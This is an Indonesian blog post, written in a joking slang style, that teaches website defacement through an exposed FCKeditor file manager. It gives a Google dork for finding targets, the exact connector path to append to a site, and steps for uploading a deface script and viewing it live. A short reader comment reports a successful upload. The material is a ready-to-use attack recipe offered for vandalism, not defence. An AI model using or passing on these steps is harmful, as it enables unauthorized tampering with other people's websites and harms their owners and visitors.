Hae kimak!1!1 Balik lagi dengan mimin yang tamvan!1!1!1 Kali ini mimin akan share tutor deface poc Fckeditor. Langsung saja mak!1!1!1
1. Bahan-bahan :
- Internet
- Hp/PC
- Script deface
2. Dork :
- inurl:advert_detail.php?id=
3. Exploit :
- /admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
4. Langkah-langkah :
- Pertama, kyta dorking dulu mak!1!1!1!1
- Kedua, pilih salah satu web.
- Ketiga, masukan exploitya dibelakang site.
Contoh :
- Https://nimogans.tq/
Lalu kyta masukan exploitnya, menjadi :
- Https://nimogans.tq/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
Kalo vuln maka akan seperti ini (cek gambar dibawah).
- Keempat, upload sadja scriptnya :V
contoh:
Https://nimogas.tq/files/nimo.html
- Dan taraaaaa!1!1!1 Kalian dah bisa :* unchhh
5. Live target :
Note : Untuk live target masukan dulu exploitya!1!1
Sekian dulu mak!1!1 Kalo ada yang mau ditanyakan comment sadja :*
mmmppppssshhhhhh
udh ada tulisan "file uploaded with no error" kok mau liat hasilnya ngga jadi gan
ReplyDelete